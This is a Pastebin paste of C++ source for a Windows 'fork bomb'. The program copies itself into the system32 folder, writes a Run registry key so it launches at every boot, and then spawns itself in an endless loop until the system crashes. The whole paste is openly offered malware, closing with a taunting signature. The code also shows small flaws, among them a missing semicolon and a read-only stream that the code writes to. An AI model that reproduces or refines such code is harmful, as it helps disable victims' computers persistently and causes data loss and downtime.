Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Fork "BOMB" v2 DATALORD */
- #include <iostream>
- #include <fstream>
- #include <windows.h>
- #include <iterator>
- #include <istream>
- using namespace std;
- int main()
- {
- fstream f("Fork.exe", fstream::in|fstream::binary);
- f << noskipws;
- istream_iterator<unsigned char> begin(f);
- istream_iterator<unsigned char> end;
- /* Copies itself to the directory system32 */
- fstream f2("C:\\WINDOWS\\system32\\Fork.exe",
- fstream::out|fstream::trunc|fstream::binary);
- ostream_iterator<char> begin2(f2);
- copy(begin, end, begin2);
- /* Opens The Registry to make it run on boot */
- HKEY hkey;
- LONG regOpenResult;
- const char PATH[] = "C:\\WINDOWS\\system32\\Fork.exe";
- regOpenResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
- "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
- 0,
- KEY_ALL_ACCESS,
- &hkey);
- RegSetValueEx(hkey,
- "Fork",
- 0,
- REG_SZ,
- (BYTE*)PATH,
- strlen(PATH));
- RegCloseKey(hkey);
- /* Makes it run itself but since it is in a loop it will run forever
- making the system crash */
- while(true){
- system("Fork.exe")
- }
- return 0;
- }
- /* Fork "BOMB" v2 By DATALORD */
- // Reboot Hackers = Farmers
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement